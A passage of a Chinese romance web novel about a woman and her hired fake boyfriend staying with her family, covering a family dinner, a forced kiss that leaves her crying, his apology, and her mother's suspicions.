“哎呀,我忽然记起来,老赵之前约我下棋,这会儿怕是已经在等我。”吴叔连忙起身,他儿子也跟着站起,“那我们就先告辞了。你们年轻人有空,也多来家里坐坐,还记得小时候,瞳瞳最黏小华了。” “刚来就走,不多坐一会儿?”刘妈跟着起身,假意挽留。 “不了不了,老赵的性子你是知道的,耽误不得。”吴叔连连摆手。 “既然这样。”刘妈点点头,转头看向还在神游的刘瞳,开口吩咐,“瞳瞳,送送客人。” “啊?哦!” 方才被吴家儿子那道火辣辣的视线盯得浑身不自在,连大气都不敢喘的刘瞳猛地回神,被这一声吩咐吓了一跳。 手腕忽然被人轻轻握住,柳廷砚走到她身侧,嗓音平淡: “我跟你一起。” 吴家父子二人脸上瞬间挂满尴尬。 “吴叔,慢走,有空再来玩。”刘瞳压下纷乱心绪,扬起甜甜的笑容。 “好好好。”吴叔慌忙点头应下。 “小瞳,我……”吴家儿子转过身,目光牢牢锁在刘瞳身上,话到嘴边,欲言又止。 “嗯?”刘瞳一脸茫然地回看过去。 柳廷砚往前半步,不动声色挡在了两人中间,隔绝开对方的视线。 刘瞳依旧一头雾水。吴家少年见状,也再没有多说什么,只能转身离开,背影落寞,像个被抛弃的人。 晚饭过后。 刘瞳躲到阳台,举着手机,压低声音。 “总监,跟您商量个事呗。” 电话那头,总监正坐在办公椅上翻阅文件,语气带着几分戏谑:“从你嘴里说出来的,多半没什么好事。” “总监,您这么说,太伤我幼小的心灵了。”刘瞳捂住胸口,故作一副悲痛欲绝的模样。 “呵,你哪来的心,还分幼小庞大。”总监轻轻嗤笑。 “总监您这么讲我可太伤心了,一定是您还没有感受过我那颗炽热滚烫的心。”说完这话,刘瞳自己都忍不住做作地呕了一下。 “行了,少在这儿恶心我,直说。”总监满是嫌弃。 “嘿嘿,就是……我想请一个月的假。” “啪!” 文件重重合上的声响透过听筒传过来,刘瞳浑身一颤。 “怎么,是不打算在我这儿干了?”总监的声音沉了几分。 “不是不是!绝对不是!”刘瞳急忙反驳,话说一半,又面露难色,吞吞吐吐说不出口。 “刘瞳,你莫不是真把公司当成自家开的了?”总监指尖碰了碰桌边还冒着热气的咖啡。 “总监,我是真的有难言之隐。”刘瞳急得神色都有些不自然。 “难言之隐?说来听听。”总监起身,拿起调羹慢悠悠搅动杯中的咖啡。 “都说是难言之隐了,哪里说得出口啊。”刘瞳委屈地嘟起嘴。 这时,柳廷砚从客厅走出来,缓步站到她的身侧。 “你怎么出来了。”刘瞳慌忙捂住手机,小声嘀咕。 柳廷砚瞥见她正在通电话,没有出声,转头望向别处。 “刘瞳?”听筒里忽然传来总监的声音,吓了刘瞳一大跳。 “啊!总监,我在!” “要休一个月假也不是不行。”总监的声音淡淡传来,“往后一整年,你不许再请任何事假,每月四天休息日,缩减成两天。” “什么?!”刘瞳失声惊呼。 身旁的柳廷砚无语地斜睨了她一眼。 刘瞳在心里哀嚎。 算一算,今年余下还有六个月。原本每月四天休息,现在只剩两天。一百八十多天的日子里,大半时光都要耗在公司。别人酣然补觉的时候,她要坐在工位埋头干活;别人悠闲吃零食摸鱼,她还在奋笔疾书;别人和恋人撒娇约会,她只能孤零零对着电脑啃文件。想想就满心悲凉。 这一切,全都是拜身边这个家伙所赐! 她恶狠狠地瞪向柳廷砚,眼底几乎要冒出火来。 柳廷砚察觉到那道极具杀伤力的视线,转过头,一脸茫然。这眼神,是打算把自己生吞活剥? “除此之外,十天年假缩减为五天,年终奖减半。”总监继续抛出条件。 刘瞳眼睛瞪得像铜铃,心口一阵绞痛。 “呵呵,总监……我刚刚脑子有点昏沉沉,还没完全清醒,我再好好考虑考虑。”刘瞳扯出一个皮笑肉不笑的表情。 “大白天还能睡昏头?行,给你五天时间考虑。五天之内没有答复,那就按离职处理,想顶替你这个岗位的人,并不少。”总监的话语意味深长。 “别别,总监!五天之内我一定给您回复!”刘瞳连忙应声。 “嗯。” 23. 等待进入网审 电话挂断。总监把手机搁在咖啡杯旁,重新翻开最上方那份文件,纸上正是那晚柳廷砚替她画下的稿件,页面下方,印着鲜红的名字:路学谦。 “这份稿子风格倒是和以往不一样,若是就这么开除,未免可惜。”总监低声喃喃自语。 阳台这边。 “你一直瞪着我干什么?”柳廷砚无奈,她已经盯着自己瞪了好半天。 “全都怪你!早知道当初就不该收留你,我真是倒了大霉。”刘瞳咬着后槽牙。 “可你都已经收留了。”柳廷砚无辜地摊了摊手。 “果然人至贱则无敌。”刘瞳满脸无语。 柳廷砚收回散漫的目光,语气平平淡淡开口:“我打算在你家住一个月。” “你……你说什么?再说一遍!”刘瞳往前走近两步,侧过脑袋,把左耳凑过去。 “我说,我要在你家住一个月。”柳廷砚微微俯身,凑到她的耳畔低声复述,说话的末尾,舌尖轻轻扫过她温热的耳廓。 刘瞳浑身猛地一颤,慌忙往后退出去好几步,捂住发烫的耳朵,腮帮子鼓鼓的。 “呵。” 看见她这副反应,柳廷砚低低笑出声,神色颇为满足。 “你去死吧,癞皮狗!”刘瞳恼羞成怒,抬脚狠狠踩向他的脚背。 “嘶——”柳廷砚疼得蹙起眉眼,抱着脚往后缩,“你这女人,就半点女孩子的温柔都没有吗。” “活该!哼,别想赖在我家里。”刘瞳双手抱胸,下巴抬得老高。 “我身上的钱已经全部花光了。” “那跟我有什么关系。” “难不成你要看着我睡大街?” “关我屁事。” “喂,你不能这样毁约,我又不是不还钱给你。”柳廷砚神色急切几分。 “谁叫你自己非要作死。”刘瞳朝他做了个鬼脸。 “我还不是为了谁。”柳廷砚目光扫过她的全身。 “哟,话说得这么好听,搞得好像是我求着你过来一样。”刘瞳阴阳怪气地回怼。 柳廷砚顿时被堵得心口发闷。 好吧,确实是他自己一意孤行跑来。可若是不来,这只小野猫,说不定就要被旁人拐走了。 他眉梢一挑,慢悠悠开口:“你要是执意不肯,那我就去找你爸妈,告诉他们,我是你花钱雇回来的男朋友,而且我们已经同居两个月。” “你!” 刘瞳气得当即上前,伸手指着他。望进他那双桃花眼,里面满满当当全是戏谑。气得她胸口起伏,一句话都说不出来。 “行,很好,真是非常好。”刘瞳气得连连点头。 倘若眼神可以杀人,柳廷砚此刻已经死过千百回。她转身,愤愤走回客厅。 身后,柳廷砚望着她的背影,唇角勾起一抹得逞的笑意。 刘瞳缓步在客厅沙发坐下,扫过屋里看电视的一家人,心里几番纠结斟酌,终于小声开口:“老爸老妈,我打算在家住一个月。” 话音落下,客厅几人齐刷刷转头看她。 刘爸率先出声,带着几分疑惑:“嗯?怎么突然要在家住这么久,是辞职不干了?” “没有没有!”刘瞳连忙摆手,眼底装出一副乖巧无辜的模样,“就是想家了,舍不得你们,想多陪陪家里人。” “哟,二妹子,坦白从宽抗拒从严!”刘思涵挑眉盯着她,眼底满是打趣的审视,“老实交代,到底是什么情况?” 刘瞳在心里默默翻了个巨大的白眼。 一家人明明都看穿了她的不对劲,还非要装模作样盘问,未免也太假了。 她硬着头皮扯出笑意,一本正经瞎编:“真的!我这次帮公司完成了一个超重要的项目文件,总监特意特许我放一个月长假,让我回家好好休息玩玩。” 说完这话,她自己都心疼自己。 硬生生扯谎装乖,也太虐心了,鸡皮疙瘩掉了满地。 “哇,我们二妹妹这么厉害呀?”刘思涵故作夸张地捂住嘴,眼底的戏谑藏都藏不住。 “那可不!也不看看是谁家的妹妹!”刘瞳顺着她的话往下接,挺胸抬头,装得自信满满。 一旁的大姐夫妇、弟妹三人齐齐无语,默契十足地白了她一眼。 刘妈神色淡淡,全然不吃她这一套,语气平静开口:“在家住也好,省得你在外奔波。我刚好接了一批量大的单子,你在家闲着也是闲着,跟着我一起帮忙做。” 刘瞳瞬间垮了脸,欲哭无泪。 合着她拼尽全力、牺牲无数假期换来的一个月长假,到头来还是逃不过干活的命运? 这日子真的一点盼头都没有!她仰头望着天花板,满心无语。 犹豫片刻,刘瞳小心翼翼侧过身,指了指身侧坐姿端正、眉眼温和的柳廷砚,声音放得极轻:“爸、妈,还有一件事……他、他这段时间,也跟我一起住在家里。” “咦?”刘思涵立刻探头看向柳廷砚,满眼好奇,“廷砚,你之前不是说在到处旅游吗?怎么不继续出去玩了?” 柳廷砚抬眸,唇角噙着温柔缱绻的浅笑,眼神澄澈坦荡,让人完全辨不出真假:“之前确实是四处散心游玩,但遇见小瞳之后,便只想时时刻刻陪着她。好不容易得空休假,回公司之后便再也没有这么清闲的日子了。我也想多和叔叔阿姨、家人相处相处,也好改掉自己身上的毛病,免得日后有做得不妥当的地方。” 一番话说得温柔真诚,礼数周全。 刘瞳听得浑身发麻,差点没当场呕出来。 好家伙,情话一套接着一套,张口就来,熟练得不像话。 妥妥的花花公子套路! 她暗自咬牙,越听越气,心里把柳廷砚默默吐槽了八百遍。 “好好好!年轻人有心就好,多相处相处是好事!”刘爸爽朗大笑,余光却悄悄瞥了一眼身旁沉默蹙眉、暗自沉思的刘妈。 刘瞳看着母亲沉敛的神色,瞬间头皮发麻,后背冒起一层冷汗,心怦怦直打鼓。 她妈向来传统保守,断然不会容许外男无故留宿家中。 可转念一想,柳廷砚可是她的“债主兼金主”,这尊大佛绝对不能放走,煮熟的鸭子说什么也不能飞了! 她立刻放软语气,拽了拽母亲的衣袖,撒娇似的轻喊:“老妈~” 良久,刘妈才淡淡丢下三个字:“随便你们。” 说完便起身,径直回了房间,不愿多管。 “别介意啊,你阿姨就是这个性子,嘴硬心软。”刘爸连忙打圆场,化解尴尬。 “无妨,阿姨真性情,晚辈十分钦佩。”柳廷砚莞尔浅笑,气度得体。 “你们年轻人慢慢聊。”刘爸笑着摆摆手,也跟着回了房。 长辈一走,客厅瞬间成了年轻人的天下。 刘思涵立刻凑上前,满眼八卦:“哎哎!你跟我们二妹妹,真的是这么浪漫认识的?一见钟情那种?” p>“自然是真的。”柳廷砚坦然对视她的目光,眼底坦荡无半分闪躲。 “哇!那快!老弟、小妹,赶紧喊二姐夫!”刘思涵眉飞色舞地起哄。 “不行!” 刘瞳脱口而出,语气又急又快。 原本唇角带笑的柳廷砚,笑意瞬间卡在脸上,眸色微微沉了几分。 刘思涵一脸茫然:“咦?二妹子,怎么了?难道他不是你男朋友?” “是、是!他就是我男朋友!” 刘瞳余光瞥见柳廷砚骤然阴沉的眸子,心头一紧,连忙改口。 刘思涵故作恍然,惊讶开口:“啊?我懂了!二妹子,你是不是还没想好跟他定下来,打算以后再谈别的?” 刘瞳当场汗颜,心态炸裂。 这都什么乱七八糟的脑补! 与此同时,周遭的空气莫名冷了几分,压迫感悄无声息蔓延开来。 “没有!我才不是那种水性杨花的人!”刘瞳尴尬地挠了挠头,慌忙辩解。 “哦——”刘思涵拖长语调,眼底满是意味深长的笑意。 下一秒,刘冉然和弟弟刘忠岳异口同声,清脆喊了一句:“姐夫!” “嗯。”柳廷砚眸色瞬间回暖,心花怒放,温柔颔首应声。 刘忠岳放下手机,目光亮晶晶地看向柳廷砚,直白开口:“姐夫,我想要一台最新款的笔记本电脑,我最近在做游戏软件,新电脑配置高,操作手感更好,写程序也更快。” “老弟!我怎么从没听你提过这事?”刘瞳脸色一黑。 这小子可真行,第一次见人就敢开口占便宜! 这要是以后真有什么牵扯,还不得被他们一家啃得干干净净?呸!她胡思乱想什么,她这辈子都不可能嫁给这个混蛋! “可以。”柳廷砚想都没想,笑着应下。 刘瞳猛地抬头,疯狂朝他挤眉弄眼,眼神疯狂示意。 大哥!你身无分文!哪来的钱买电脑?你脑子坏掉了? 没等她急完,一旁的刘冉然也连忙凑热闹:“姐夫,我也要一台!” 刘瞳内心疯狂咆哮。 有完没完了! 这货明明兜里空空如也,难不成最后还要她自掏腰包买单? “你们够了没有!”刘瞳忍无可忍,猛地起身,咬牙切齿低吼。 柳廷砚却全然不在意,伸手轻轻拉住她,将人按回沙发坐好,神色淡漠地拿出手机,直接开了免提:“小赵,订两台最新款高配笔记本电脑,立刻加急寄过来,地址我稍后发你。” 电话那头立刻传来恭敬的应答:“好的,少爷。” “耶!谢谢姐夫!” 弟妹二人喜笑颜开,开开心心跑回了各自房间。 刘思涵笑得眉眼弯弯:“妹夫可真大方。” 刘瞳扯着僵硬的嘴角,皮笑肉不笑。 心里把亲姐也一并吐槽了一遍,纯属看热闹不嫌事大。 她缓缓转头看向身侧的柳廷砚,眼神锐利,恨不得在他身上戳出几个窟窿。 柳廷砚若无其事起身,温柔开口:“大姐、姐夫,我还有些行李放在车上,先去取一下。小瞳,陪我一趟。” 说完直接牵着她的手,不由分说拉着人出了门。 一走出家门,刘瞳立刻狠狠甩开他的手,怒火翻涌,咬牙切齿:“柳廷砚!你骗得我好苦!” 柳廷砚沉默不语,径直缓步下楼,任由她怒气冲冲跟在身后。 24. 第一次啊 楼下,黑色宝马静静停在路边。 柳廷砚侧身靠在车身上,身姿挺拔,一双好看的凤眸一瞬不瞬凝着她,音色清浅:“我没有骗你。” “你还敢狡辩!”刘瞳气冲冲上前,一拳砸在他手臂上,脸蛋气得通红,“你之前跟我说你被人追杀、无依无靠、父母双亡!全都是骗人的对不对!” 柳廷砚垂眸看着她炸毛的模样,神色骤然沉了下来,嗓音低沉沙哑,带着一丝不易察觉的落寞:“这件事,我没有骗你,我的父母,确实早已离世。” 刘瞳一怔,满腔怒火瞬间卡住,愣在原地。 “那你为什么还有专属助理,还有豪车资产?” 她之前还傻乎乎替他担惊受怕,怕他身份暴露、无处可依,合着全是她瞎操心! “小赵是我唯一留在身边的亲信。”柳廷砚伸手攥住她的手腕,语气急促又认真,“公司如今全盘被陈尧掌控,我名下所有能动用的资金、资产,全部被冻结封锁。刚刚买电脑的钱,是助理私下垫付的。我不能和他频繁联系,一旦被陈尧察觉,以他阴狠的性子,必然会斩草除根、杀人灭口。” 他神色真切,语气急切,半点看不出撒谎的痕迹。 刘瞳愣愣看着他激动的模样,心里的火气悄然消散大半。 “好吧……看你说得有模有样的,我就勉强信你一次。”她瘪了瘪嘴,小声嘟囔。 柳廷砚没再多解释,松开她的手腕,转身打开后备箱,取出自己的行李,关上车门后,径直越过她,抬步上楼。 连一个眼神都没多给。 “喂!你也太小气了吧?”刘瞳连忙快步跟上,小声碎碎念,“不就是被我怀疑了几句吗?至于闹别扭?我们本来就不算熟好不好!” 柳廷砚脚步微顿,却依旧没有回头,继续往前走。 “等等我!”刘瞳立马小跑两步追上他。 夜里十点,万籁俱寂,家里众人早已回房休息。 昏暗的灯光染着温柔的夜色。 柳廷砚忽然伸手,一把将路过房门口的刘瞳拽了进去。 “你干嘛!”刘瞳浑身一僵,下意识甩开他的手,满脸茫然。 不等她反应,柳廷砚俯身逼近,单手抵在门板上,将她牢牢圈在自己与房门之间,利落又强势的壁咚,让她退无可退。 狭小的空间瞬间升温,暧昧的气息骤然弥漫。 刘瞳脑子瞬间一片空白,舌头打结,说话都不利索:“你、你干什么……” 柳廷砚漆黑的凤眸牢牢锁着她慌乱的小脸,眸子深邃幽深,视线一点点下沉,缓缓朝她凑近。 距离越来越近,温热的呼吸尽数洒在她的脸颊上。 刘瞳心脏疯狂狂跳,砰砰作响,几乎要跳出胸腔。 完了! 他、他该不会是要亲她吧? 她一点准备都没有! 难道她的初吻,就要这么稀里糊涂交代出去了? 她眨巴着湿漉漉的眸子,怔怔望着不断靠近的俊美眉眼,整个人僵在原地,手足无措。 慌乱之下,她猛地伸手想推开他,转身就要去拉房门。 可柳廷砚反应更快,双手同时落下,彻底封住她所有退路,稳稳将她禁锢在门板与自己之间。 双层壁咚,密不透风。 “你到底想干嘛!”刘瞳脸颊爆红,声音细若蚊呐,带着掩饰不住的慌乱与羞涩。 “呵。” 柳廷砚低低轻笑一声,眼底盛满戏谑的笑意,微微俯身,唇贴在她耳畔,气息温热撩人:“刘瞳,你现在的样子,真的很可爱。” “你去死!” 刘瞳瞬间恼羞成怒,用力一把推开他,转身就要逃。 “别急着走,我有正事跟你说。”柳廷砚伸手精准扣住她的手腕,将人拉了回来。 “有话直说!别动手动脚的!”刘瞳用力甩开他的手,连连后退,怒瞪着他,防备十足。 柳廷砚慵懒靠在门板上,抬手指了指自己的脸。 “什么意思?”刘瞳满脸疑惑。 “我现在这张脸的情况,你清楚。”柳廷砚语气平淡。 “你不是会高级化妆手法,堪比整容吗?”刘瞳皱眉。 “是没错。”柳廷砚垂眸看着她,无奈又纵容,“但适配我身份的护肤品、化妆品,都很特殊,市面上普通的东西,根本用不了。” “然后呢?”刘瞳歪头眨眼,一脸懵懂。 “笨死了。”柳廷砚无奈站直身子,伸手轻轻点了下她的额头,“这么久都听不懂我的话。” “你别动手!说话就说话!”刘瞳抬手一拍,力道不小,瞬间在他白皙的手背上印出一道清晰的红痕。 “嘶——”柳廷砚低头看着手背,哭笑不得,“你这女人,真是半点温柔都没有。” “我就这样,怎么了?”刘瞳梗着脖子回怼。 柳廷砚忽然伸手,骤然发力,直接将她拽进怀里,牢牢禁锢住,不容她挣扎半分。 “别人眼里,你早就属于我了。”他低头盯着她泛红的小脸,语气带着强势的占有欲,“我对你做什么,都理所当然,不是吗?” “狗屁!胡说八道!”刘瞳脸颊更红,奋力挣扎,嘴硬道,“我才不是你的!我心里有喜欢的人!是我学长!” 这句话,彻底点燃了柳廷砚心底的醋意与戾气。 下一瞬,他俯身低头,精准覆上那张喋喋不休、气人的小嘴。 温柔又强势的吻,猝不及防落下。 “唔……!” 刘瞳瞳孔骤缩,震惊地睁圆双眼,浑身僵硬,大脑彻底宕机。 慌乱、委屈、无措瞬间席卷全身。 她拼命挣扎,抬手用力抵在他胸口,用尽全身力气狠狠推开他。 下一秒,她二话不说,拉开房门,狼狈又慌乱地转身跑了出去。 房间里瞬间只剩柳廷砚一人。 他抬手轻轻抚过自己微肿的唇瓣,又低头看着手背上那道带着余温的红痕。 指尖触到一点温热的湿润。 她竟然哭了。 是他太心急,吓到这只小野猫了? 他垂眸沉思片刻,眼底掠过一丝悔意,随即又被浓浓的占有欲取代。 谁让她不知好歹,偏偏在他面前,提起别的男人。 不给她一点小小的惩罚,她永远学不乖。 思绪落下,他唇角缓缓勾起一抹缱绻又偏执的笑意。 不过……她的味道,确实很甜。 温热的泪水糊了满脸,刘瞳捂着脸,近乎狼狈地狂奔而出。 走廊灯光微凉,她刚跑出柳廷砚的房间,便与准备回房的刘思涵迎面擦肩而过。 刘思涵本扬起笑意正要打招呼,可瞥见她埋头疾冲、指尖死 死捂住脸颊、连眼神都不敢抬的模样,脚步一顿,心底瞬间浮起满满疑惑。 她怔在原地,眼睁睁看着刘瞳一头扎进自己的卧室,反手带上门。 刘思涵迟疑片刻,抬手敲了敲门:“你干嘛呢?” 推门而入,只见刘瞳整个人埋在床上,枕头死死捂住脑袋,一动不动,透着一股说不出的委屈沉闷。 “没什么。” 半晌,闷闷的声音从枕头底下传来,含糊又沙哑。 刘思涵收起玩笑的心思,走到床边坐下,轻轻拍了拍她的后背:“刚刚你不是跟廷砚在房里吗?他是不是欺负你了?” 房内一片寂静,刘瞳闷着头,一声不吭。 “二妹,有事别憋着。”刘思涵语气正经了几分。 刘瞳又静了许久,才闷闷出声:“老姐,我想一个人静静,你先出去吧。” 见她实在不愿多说,刘思涵无奈轻叹,只好起身轻轻带上门离开。 另一边,刘廷砚正在刘瞳的房间里规整行李。 指尖刚叠好一件衣服,门外便响起两声轻叩。 他起身开门,门外站着笑意盈盈的刘思涵。 “大姐。”柳廷砚微微颔首。 “妹夫,不打扰你。”刘思涵笑得温和,“这房间是二妹的,今晚你睡这里就好。她暂时来我房间跟我睡。就是怕你们富家子弟住不惯我们家里的简陋环境。” “不会。”柳廷砚语气坦然,没有半分嫌弃。 “那就好。”刘思涵满意点头,话锋微转,眼神带着试探,“刚刚……二妹怎么哭着跑出来了?” 柳廷砚耳尖微热,露出几分歉疚的笑意:“跟她开了个小玩笑,是我分寸没拿捏好,让大姐见笑了。” “原来是开玩笑啊。”刘思涵笑出声,“我还以为你真欺负她了,瞧那丫头哭得委屈巴巴的。” “稍后我会亲自跟她道歉。”柳廷砚神色认真。 刘思涵收了笑意,双臂环胸,神色骤然严肃,一双眼眸清亮又犀利,直直看向他: “你们小情侣的事我本不该多嘴,但我得提前跟你说清楚。我家二妹看着大大咧咧、没心没肺,像个天不怕地不怕的女汉子,可她的心比谁都软,也比谁都脆弱。 她心思简单,没半点城府,直来直去。 你若是真心喜欢她,就好好包容她所有的样子,好的坏的都接住。 世人都说豪门深似海,我不管你身份如何、家世如何,若你只是像那些纨绔子弟一样随便玩玩,图一时新鲜,就趁早离她远点。 我家小丫头,经不起你们那些弯弯绕绕,更经不起豪门里的算计和玩弄。” 一番话说得坦荡又恳切,字字句句都是护妹的心意。 柳廷砚久久沉默,眸色沉沉,认真听着。 刘思涵见他不语,轻叹一声,转身准备离开。 “大姐放心,您的话,我会一直记在心里。” 柳廷砚的声音骤然从身后响起,稳稳止住了她的脚步。 刘思涵回头,眼底多了几分深意,淡淡补了一句:“顺带告诉你一句,据我所知,你是她第一个男朋友。” 话音落,她转身离去。 房间里只剩柳廷砚一人。 他垂眸低笑,嗓音温柔呢喃,眼底漾开细碎的柔光: “第一个啊……难怪。” —— 25. 他的对不起 —— 夜里,杜于格因工作繁忙,并未留宿刘家。 刘思涵洗完澡回到房间,距离方才已经过去一个多小时。 刘瞳依旧维持着方才的姿势,一动不动趴在床上。 “喂,你打算闷死在枕头上?”刘思涵上前拍了她一下,打趣道,“知道你黏我,也不用激动成这样,连床都不肯挪了?” 她说着,不轻不重地拍了下她的屁股。 “啊——疼!” 刘瞳瞬间弹坐起来,皱着小脸揉着身后,委屈巴巴嘟囔,“还说我暴力,明明你比我暴力多了。” “嗯?谁说你暴力了?”刘思涵挑眉。 “没、没谁!”刘瞳瞬间回神,连忙摆手否认。 差点顺口把柳廷砚说出来。 “神神叨叨的,赶紧洗澡睡觉。”刘思涵又拍了拍她的腿。 “老姐!你能不能好好说话,别总动手动脚的!怎么一个个都这样!”刘瞳欲哭无泪。 “一个个?还有谁?”刘思涵捕捉到关键词,满脸疑惑。 “没谁!我去洗澡了!” 刘瞳吓得立刻下床穿鞋,几乎是落荒而逃。 刘思涵看着她仓皇逃窜的背影,无语翻了个白眼:“真是有病。” 片刻后,洗完澡的刘瞳又折了回来,推开房门坐到床边,眼神亮晶晶的,带着几分讨好。 “老姐,跟你商量个事呗?” 刘思涵慢悠悠躺进被窝,端正坐着,好整以暇地看着她:“说。” “嘿嘿。”刘瞳搓搓手,小心翼翼开口,“你也知道,柳廷砚他化妆技术超厉害的,堪比专业化妆师。我……我突然想学化妆了。你桌上那些化妆品,能不能借我用用?” “你不是最嫌化妆麻烦?又费钱又费时间,从来不碰这些的?”刘思涵诧异。 “我以前懒得弄嘛。”刘瞳嘟着嘴。 “不会吧?你素颜这样子,居然能把柳廷砚拿下?”刘思涵一脸震惊,满眼不可思议。 刘瞳脸颊一热,尴尬扯了扯嘴角,含糊点头:“呃……嗯。” 她心里暗自吐槽。 什么叫拿下!她跟他明明是演戏假扮情侣! 当然,这种秘密,她打死也不会告诉家里人。 “我的天,这是真爱啊!他居然一点都不嫌弃你。”刘思涵一脸感慨。 “老姐!你能不能当着你妹妹的面说点好听的!我耳朵还没聋!”刘瞳无奈扶额。 刘思涵忽然凑近她,眼神狐疑:“说实话,你俩该不会是假装的吧?” 刘瞳浑身一僵,连忙伸手推开她:“怎么可能!你也太不相信你妹妹的魅力了!” “行行行,信你。”刘思涵不再追问,摆摆手躺下,“想用就拿去。” “谢谢老姐!” 刘瞳立刻开心蹦起来,把梳妆台上全套化妆品搜罗干净,抱着一大包东西快步跑出房间。 —— “咚咚。” 敲门声响起。 柳廷砚打开房门,下一瞬,刘瞳抱着大包小包化妆品,低着头径直冲了进来,将所有东西一股脑倒在床上,自始至终没看他一眼。 “站住。” 清淡的嗓音带着几分笑意与无奈。 刘瞳脚步瞬间钉在原地,心里暗骂自己没出息。 明明还在生气,怎么偏偏这么听他的话。 她垂着脑袋,一动不动。 柳廷砚缓步走到她面前,看着她耷拉的眉眼、泛红的眼尾,眸色复杂,语气真诚:“对不起。” “啊?” 刘瞳猛地抬头,满眼错愕。 “刚刚是我的错。”柳廷砚语气带着几分疏离的克制,“我明知我们只是演戏,还肆意戏弄你、冒犯你,是我逾矩了。” 演戏。 只是戏弄。 短短几个字,像细小的针,猝不及防扎进刘瞳心底。 鼻尖骤然一酸,心头莫名涌上一股委屈与酸涩。 原来,从头到尾,都只是戏弄而已。 她眼眶一红,憋着情绪,狠狠瞪他一眼,气冲冲吼了一句:“你知道就好!” 话音落,她转身直接跑了出去。 房间瞬间空荡下来。 柳廷砚望着敞开的房门,脸色沉沉,静静伫立许久,终是轻叹一口气,关门躺倒在床上。 —— 厕所里。 刘瞳躺在浴缸里,温水漫过肩头,她捂着发烫的嘴巴,一边狠狠拍打着水花,一边小声咬牙咒骂。 “死柳廷砚!混蛋!王八蛋!” 一句对不起就想草草揭过?! 可心底那股闷闷的酸胀感,却怎么都压不下去。 不得不承认,那个猝不及防的吻,温柔又强势,技巧好得让她几乎失神。 可转念一想,他这般熟练,定然吻过无数人! 妥妥的花心大萝卜! “混蛋!渣男!” 她用力揉搓着自己的嘴唇,又气又委屈。 她珍贵又干净的初吻,就这么稀里糊涂没了,只换来他一句轻飘飘的“开玩笑、逾矩了”。 罢了。 就当是被狗咬了一口! —— 夜里,姐妹两人同床而眠。 黑暗里,刘思涵翻了个身,侧头看着身边平躺的刘瞳,轻声开口:“二妹,你跟柳廷砚,真像你说的那样认识的?就单纯你帮了他,他就追你了?” 刘瞳心脏骤然一紧,瞬间睁眼。 老姐居然还在怀疑! 难不成爸妈心里,也早已起了疑心? 她压下心慌,转头扯出自然的笑意:“是啊,就是这样。” “可我怎么都不信。”刘思涵喃喃道,“他那种样貌气度、一看就出身不凡的人,怎么会偏偏看上你?要么是他眼瞎,要么是口味独特。” 刘瞳内心遭受一万点暴击。 这真的是亲姐吗?! “老姐,你要相信你妹妹的个人魅力。”她硬着头皮一本正经胡扯。 “就是因为太相信你,我才觉得离谱啊。”刘思涵无比认真。 刘瞳彻底被噎住,差点没当场气吐血。 “我是不是你亲妹妹啊?”她幽幽叹气。 “是是啊。”刘思涵郑重其事拍了拍她的肩膀,“只能说,你纯属走了狗屎运。” 刘瞳彻底不想说话,赌气翻身,背对着她。 “行了行了,不闹你了,睡觉。”刘思涵见她不想搭理,也不再多问,闭眼休息。 ——次日清晨。 日上三竿。 九点半的晨光透过窗棂洒进客厅。 刘瞳穿着宽松睡衣,揉着眼睛打了个哈欠,慢吞吞走到餐厅。 抬眼一看,一家人早已端正坐好用早餐。 p>她瞬间愣住:“你们起这么早?现在几点了?” “二妹子,九点半啦。”刘思涵咬着面包,淡淡回道。 “什么?!” 刘瞳当场石化。 居然睡过头这么久! “越来越没有女孩子的样子,作息邋遢,穿着睡衣就出来见人。”刘妈放下碗筷,面色沉敛,语气带着几分责备,“自家人也就罢了,家里现在有外人,半点规矩都没有,丢人现眼。” 外人二字,说得极重。 刘瞳小脸瞬间僵住。 看来老妈心底,自始至终,都没接纳过柳廷砚。 “无妨。” 温和的男声骤然响起。 柳廷砚眼底掠过一丝浅淡笑意,起身走到她身侧,自然牵起她的手腕,将人带到餐桌旁坐好,语气宠溺护着,“小瞳向来随性可爱,我不介意。” 刘瞳扯出一抹皮笑肉不笑的僵硬弧度,没敢抬头看众人神色。 低头看向餐桌,桌上摆放着精致的奶酪吐司与瑞典烤薄饼,香气四溢。 她眼睛瞬间一亮,诧异抬头看向身侧的男人:“你做的?” “嗯。”柳廷砚淡淡颔首。 “哇!姐夫也太厉害了吧,厨艺超好!”刘冉然忍不住惊叹出声。 这话一出,餐桌气氛瞬间凝滞。 刘爸刘妈的脸色同时一僵。 刘瞳刚捏起吐司的手猛地一顿,内心疯狂哀嚎。 我的傻妹妹!这时候喊什么姐夫! 她小心翼翼抬眼偷瞄父母神色,果然,二老面色愈发不自然,眉眼间带着沉郁。 “哈哈,小孩子随口喊着玩,早点喊也热闹。”刘爸连忙打圆场,试图缓解尴尬。 可满桌的压抑沉闷,半点没有消散。 无人再接话,早餐气氛安静得让人窒息。 很快,刘妈率先吃完早餐,起身开口:“小瞳,过来。” 说完便转身走进了工作房。 刘瞳被这一声喊得心头一颤,连忙把剩下半块吐司塞进嘴里,快步跟了上去。 “别多想,应该是让小瞳帮忙干活。”刘爸笑着打圆场。 柳廷砚微微颔首,眼底笑意温和,依旧安静低头用餐。 —— 工作房内。 刘妈坐在工作台前,手边散落着待加工的玩具配件。 听见脚步声,她停下手里的活计,抬眸一瞬,锐利的目光直直锁在刘瞳脸上,严肃又深沉。 刘瞳心头莫名一紧,隐隐生出几分不妙的预感,悄悄拧紧了眉心。 “那个人,是不是你随便找回来演戏充数的?” 开门见山,直击要害。 刘瞳心尖狠狠一颤,立刻摇头:“不是!” 难道老妈真的看出来了? 不可能啊,她明明演得很真。 “真的?”刘妈盯着她躲闪的眼眸,目光犀利,仿佛能看透她所有心思。 刘瞳后背冒起细汗,硬着头皮重重点头:“真的!” “我告诉你,别随便糊弄我。”刘妈脸色沉沉,语重心长又带着警告,“现在人心复杂,世道险恶,别被人骗了、卖了,还傻傻替别人数钱。” “老妈,我知道分寸的。” “你知道?我看你半点都不清楚!”刘妈轻嗤一声,语气带着不信任。 “我没有!”刘瞳急忙反驳。 26. 等待进入网审 “那你跟我说清楚,你们到底是怎么认识的?”刘妈步步紧逼。 刘瞳眼神愈发闪躲,只能硬着头皮编造说辞:“就是我偶然帮了他一次,他后来就一直追我,追了一个月,我才答应跟他在一起的。” “这么巧?偏偏让你遇上这么好的事?”刘妈明显不信。 “嘿嘿,那是我运气好嘛。”刘瞳只能厚着脸皮傻笑。 “脸皮倒是够厚。”刘妈白了她一眼,又严肃追问,“你确定你们是相互喜欢?” “当然是相互喜欢!”刘瞳语气急切。 